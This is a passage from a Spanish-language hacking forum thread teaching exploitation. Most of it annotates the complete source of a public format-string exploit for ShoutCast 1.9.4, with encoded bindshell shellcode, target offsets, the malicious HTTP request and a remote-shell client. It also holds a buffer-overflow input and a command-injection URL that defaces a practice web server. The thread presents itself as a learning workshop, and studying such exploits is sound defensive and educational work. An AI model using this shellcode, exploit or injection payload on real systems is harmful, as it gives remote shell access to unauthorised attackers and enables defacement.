FAQ de Vulnerabilidades

<< < (2/6) > >>

G3r4rD:
Supongo que debo postear aki la respuesta de los bugs del servidor web

es evidente que en el primer scanf, si en el tercer parametro que nos pide le insertamos esta cadena

000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000aaaa

sobre escribimos la direccion de retorno y al finalizar el programa podemos ejecutar una shell las letras aaaa son las que sobre escriben la direccion de retorno

/*EDITADO sirdarckcat*/

bien, pero solo necesitaba que me dijeran cuales vulnerabilidades habia, de todas formas, bien hecho ;)

Saludos!!

sirdarckcat:
Hola.
Hoy de casualidad llegue a dar con un Bug de "Format String", y me puse a verlo ;)
El exploit lo pueden bajar de aqui:
http://www.milw0rm.com/exploits/830
(Por Tomasz Trojanowski)
Es para ShoutCast (http://www.securityfocus.com/bid/12096), pero me gusto para explicar el funcionamiento de un FSoF.

En fin.. les recuerdo un poco que es un FSoF.

"Format String Bug"
"Format String Vulnerabilty"
"Format String Over Flow"
o simplemente
"Format String"

son todos lo mismo, y sucede en estas ocasiones:

printf(variable);
sprintf(variable);
fprintf(variable);
etc..

Ahora, una de las maneras de explotarlo, es cuando usamos las expresiones "%n"
Estas, se encargan de escribir en la dirección especificada la cantidad de datos que se deben haber escrito hasta el momento.. su explotacion es un poco complicada, asi que para mas información, pueden ver la documentación en el "Taller de Introducción a Bugs & Exploits" (mas arriba), aqui trataré de explicar el funcionamiento de este exploit, para que a otros les sirva si alguna ves encuentran alguno.

La manera de encontrarlo, es al mandar una expresión como: "UNo:%xDOs:%x" si el vaor de UNo es difernete a DOs, es muy probable que haya un FSoF.

La manera de explotarlos es similar a la de un BoF, solo que la manera de meterlo es muy diferente.

ShoutCast, al igual que "Apahuichtle WebServer (AWS)" es un webserver, es decir se encarga de responder a llamadas en el protocolo http (aunque algunos webservers tambien responden en otros..)
Este protocolo funciona asi:

Código:

[METODO] [ARCHIVO] [VERSION]
[CABECERA]: [CONTENIDO]
[CABECERA]: [CONTENIDO]
...



[CONTENIDO]


Por ejemplo, esta petición estandard a un webserver Apache:
Código:

GET / HTTP/1.1
Host: localhost

Daria como resultado esta respuesta:
Código:

HTTP/1.1 200 OK
Date: Mon, 27 Mar 2006 04:31:05 GMT
Server: Apache/2.0.55 (Win32) PHP/4.4.2
X-Powered-By: PHP/4.4.2
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Content-Length: 114
Content-Type: text/html

Bueno, el problema con ShoutCast es que el parametro del archivo,es manejado usando las instrucciónes vulnerables a FSoF de las que hablamos.

Ahora empezemos a analizar el exploit, que aprovechandose de una vulnerabilidad de FSoF va a sobreescribir la SEH.
Código:

#include <stdio.h>
#include <strings.h>
#include <signal.h>
#include <netinet/in.h>
#include <netdb.h>

espero que no tenga que explicar que es esto.. :P
Código:

#define NORM  "\033[00;00m"
#define GREEN "\033[01;32m"
#define YELL  "\033[01;33m"
#define RED   "\033[01;31m"

Se definen colores xD
Código:

#define BANNER GREEN "[%%] " YELL "mandragore's sploit v1.0 for " RED "shoutcast 1.9.4 (win gui & console)" NORM

#define fatal(x) { perror(x); exit(1); }

#define default_port 8000

se define el banner (Pubicidad :P) una funcion, para imprimir errores, y el puerto 8000 como puerto por defecto.
Código:

struct { char *os; long goreg; long gpa; long lla; }
targets[] = {
{ "wXP SP1     ", 0x77beeb23, 0x77be10cc, 0x77be10D0 }, // msvcrt.dll's
{ "w2k SP4 many", 0x7801D081, 0x780320cc, 0x780320d0 },
 }, tsz;

Se crea una estructura "tsz" con los offsets.
Código:

unsigned char bsh[]={
// 198 bytes, iat's gpa at 0x1a, iat's lla at 0x2b, port at 0x46 (1180), key 0xde
0xEB,0x0F,0x8B,0x34,0x24,0x33,0xC9,0x80,0xC1,0xB0,0x80,0x36,0xDE,0x46,0xE2,0xFA,
0xC3,0xE8,0xEC,0xFF,0xFF,0xFF,0xBA,0x57,0xD7,0x60,0xDE,0xFE,0x9E,0xDE,0xB6,0xED,
0xEC,0xDE,0xDE,0xB6,0xA9,0xAD,0xEC,0x81,0x8A,0x21,0xCB,0xDA,0xFE,0x9E,0xDE,0x49,
0x47,0x8C,0x8C,0x8C,0x8C,0x9C,0x8C,0x9C,0x8C,0xB4,0x90,0x89,0x21,0xC8,0x21,0x0E,
0x4D,0xB4,0xDE,0xB6,0xDC,0xDE,0xDA,0x42,0x55,0x1A,0xB4,0xCE,0x8E,0x8D,0xB4,0xDC,
0x89,0x21,0xC8,0x21,0x0E,0xB4,0xDF,0x8D,0xB4,0xD3,0x89,0x21,0xC8,0x21,0x0E,0xB4,
0xDE,0x8A,0x8D,0xB4,0xDF,0x89,0x21,0xC8,0x21,0x0E,0x55,0x06,0xED,0x1E,0xB4,0xCE,
0x87,0x55,0x22,0x89,0xDD,0x27,0x89,0x2D,0x75,0x55,0xE2,0xFA,0x8E,0x8E,0x8E,0xB4,
0xDF,0x8E,0x8E,0x36,0xDA,0xDE,0xDE,0xDE,0xBD,0xB3,0xBA,0xDE,0x8E,0x36,0xD1,0xDE,
0xDE,0xDE,0x9D,0xAC,0xBB,0xBF,0xAA,0xBB,0x8E,0xAC,0xB1,0xBD,0xBB,0xAD,0xAD,0x9F,
0xDE,0x18,0xD9,0x9A,0x19,0x99,0xF2,0xDF,0xDF,0xDE,0xDE,0x5D,0x19,0xE6,0x4D,0x75,
0x75,0x75,0xBA,0xB9,0x7F,0xEE,0xDE,0x55,0x9E,0xD2,0x55,0x9E,0xC2,0x55,0xDE,0x21,
0xAE,0xD6,0x21,0xC8,0x21,0x0E
};

el bindshell..
Código:

char verbose=0;
void setoff(long GPA, long LLA) {
int gpa=GPA^0xdededede, lla=LLA^0xdededede;
memcpy(bsh+0x1a,&gpa,4);
memcpy(bsh+0x2b,&lla,4);
}

Código:

void usage(char *argv0) {
int i;

printf("%s -d <host/ip> [opts]\n\n",argv0);

printf("Options:\n");
printf(" -h undocumented\n");
printf(" -v verbose mode on\n");
printf(" -p <port> to connect to [default: %u]\n",default_port);
printf(" -P <port> for the shellcode [default: 1180]\n");
printf(" -t <target type>; choose below [default: 0]\n\n");

printf("Types:\n");
for(i = 0; i < sizeof(targets)/sizeof(tsz); i++)
printf(" %d %s\t[0x%.8x]\n", i, targets[i].os, targets[i].goreg);

exit(1);
}

se crea la función setoff, que se usara para asignar los offsets.
y el menu de uso.
Código:

void shell(int s) {
char buff[4096];
int retval;
fd_set fds;

se declaran variables, esto se ejecuta, unavez que se haya establecido conexión con el servidor victima.
Código:

printf("[+] connected!\n\n");

for (;;) {
FD_ZERO(&fds);
FD_SET(0,&fds);
FD_SET(s,&fds);

se colocan algunos valores, se asigna a 0, y si esta definido "s" entonces "fds ~> s"
Código:

      if (select(s+1, &fds, NULL, NULL, NULL) < 0)
fatal("[-] shell.select()");
if (FD_ISSET(0,&fds)) {
if ((retval = read(1,buff,4096)) < 1)
fatal("[-] shell.recv(stdin)");
send(s,buff,retval,0);
}

if (FD_ISSET(s,&fds)) {
if ((retval = recv(s,buff,4096,0)) < 1)
fatal("[-] shell.recv(socket)");
write(1,buff,retval);
}


Mandamos el paquete... (si se define un canal de salida usa write, sino usa send.)
Código:

}
}

Código:

int main(int argc, char **argv, char **env) {
struct sockaddr_in sin;
struct hostent *he;
char *host; int port=default_port;
char *Host; int Port=1180; char bindopt=1;
int i,s,ptr=0;
int type=0;
char *buff;

printf(BANNER "\n");

if (argc==1)
usage(argv[0]);

se definen algunas variables, objetos, etc.. imprimimos el banner y las instrucciones

Código:

for (i=1;i<argc;i+=2) {
if (strlen(argv[i]) != 2)
usage(argv[0]);
// chk nulls argv[i+1]
switch(argv[i][1]) {
case 't':
type=atoi(argv[i+1]);
if (type >= (sizeof(targets)/sizeof(tsz))) {
printf("[-] bad target\n");
usage(argv[0]);
}
break;
case 'd':
host=argv[i+1];
break;
case 'p':
port=atoi(argv[i+1])?:default_port;
break;
case 's':
if (strstr(argv[i+1],"rev"))
bindopt=0;
break;
case 'H':
Host=argv[i+1];
break;
case 'P':
Port=atoi(argv[i+1])?:1180;
Port=Port ^ 0xdede;
Port=(Port & 0xff) << 8 | Port >>8;
memcpy(bsh+0x46,&Port,2);
Port=Port ^ 0xdede;
Port=(Port & 0xff) << 8 | Port >>8;
break;
case 'v':
verbose++; i--;
break;
case 'h':
usage(argv[0]);
default:
usage(argv[0]);
}
}

Esto solo manda a cada lugar los parametros enviados, solo analizaremos algunos:

Código:

case 'P':
Port=atoi(argv[i+1])?:1180;
Port=Port ^ 0xdede;
Port=(Port & 0xff) << 8 | Port >>8;
memcpy(bsh+0x46,&Port,2);
Port=Port ^ 0xdede;
Port=(Port & 0xff) << 8 | Port >>8;
break;

Asignamos un puerto personalisado.

Código:

case 't':
type=atoi(argv[i+1]);
if (type >= (sizeof(targets)/sizeof(tsz))) {
printf("[-] bad target\n");
usage(argv[0]);
}
break;

Asignamos el objetivo.

Código:

if (verbose)
printf("verbose!\n");

if ((he=gethostbyname(host))==NULL)
fatal("[-] gethostbyname()");

sin.sin_family = 2;
sin.sin_addr = *((struct in_addr *)he->h_addr_list[0]);
sin.sin_port = htons(port);

Hacemos la conexión......

Código:

printf("[.] launching attack on %s:%d..\n",inet_ntoa(*((struct in_addr *)he->h_addr_list[0])),port);
printf("[.] will try to put a bindshell on port %d.\n",Port);

:-/ Información...

Ahora, hasta aqui, no hemos visto nada nuevo.. :P
Código:

s=socket(2,1,6);

if (connect(s,(struct sockaddr *)&sin,16)!=0)
fatal("[-] connect()");

printf("[+] connected, sending exploit\n");

En sus marcas.. listos? xD
Código:

buff=(char *)malloc(4096);
bzero(buff,4096);

setoff(targets[type].gpa, targets[type].lla);

Asignamos espacio en memoria.
Ponemos a 0 el buffer.
y ponemos los offsets :P

Código:

ptr=sprintf(buff,"GET /content/%%#0%ux",1046-sizeof(bsh));

bueno, esto lo que hace es meter en "buff" el tamaño de la shell.
   
Código:

memcpy(buff+ptr,bsh,sizeof(bsh)); ptr+=sizeof(bsh);
Ahora, copiamos el bindshell en memoria....

Código:

strcpy(buff+ptr,"\xeb\x06\x41\x41"); ptr+=4;
Esto: EB 06 41 41, en ASM es:
Saltar 8 bits adelante.
CX=CX+2
es decir saltamos.
Código:

memcpy(buff+ptr,&targets[type].goreg,4); ptr+=4;

metemos el primer offset, de la lista de objetivos.

Código:

strcpy(buff+ptr,"\xe9\x2d\xff\xff\xff");

saltamos 208 bits atras.
Código:

strcpy(buff+ptr,"%#0200x.mp3 HTTP/1.0\r\n\r\n"); ptr+=28;

y generamos una peticion HTTP version 1.1 valida.

Código:

send(s,buff,ptr,0);

free(buff);

close(s);

enviamos y cerramos.

Código:

sin.sin_port = htons(Port);
sleep(2);
s=socket(2,1,6);
if (connect(s,(struct sockaddr *)&sin,16)!=0)
fatal("[-] exploit most likely failed");
shell(s);

exit(0);
}

y nos vamos.

Bueno, talvez este documento sea mas complicado de entender que los de BoF, ya que el FSoF es una tecnica diferente..
estoy seguro que mas de uno al leer los memcpy no sabian de que estaba hablando.. pero para eso esta la documentación, para que entiendan la teoria del tema.. ;)

Saludos!!

PD. La version 1.2 de AWS esta anexa, con fuente y paquete ejecutable, es vulnerable a FSoF y a RCE.. por si quieren practicar ;).

sirdarckcat:
Solución al RCE en AWS 1.2 por trenIs:
Código:

javascript:self.location="http://localhost:8000/_|echo/^^^<HTML^^^>^^^<H1^^^>h4x0red_by_"+prompt("Como te llamas?","")+">/web/index.htm|type/web/index.htm";

Deka_10:
Cita de: Sirdarckcat en  8 Febrero 2006, 08:32 am

LA PROXIMA SESIÓN ATACAREMOS UN PROGRAMA EJECUTABLE, ES DECIR COMPILADO, CON FORMAT STRING, HEAP Y BUFFER OVERFLOW..

Se que esto es antiguo pero piensas continuar esto? estaria muy bien ya k yo estoy muy interesado en explotacion y aun no se como atacar aplicaciones compiladas, solo buscar bugs en open source (y aun he empezado asi k no se casi nada). Weno espero que esto se continue.

sirdarckcat:
el Format String ahi está.. y pues no he tenido tiempo de hacerlo.. cuando pueda sigo ;)

Saludos!!

Navegación

[0] Índice de Mensajes

[#] Página Siguiente

[*] Página Anterior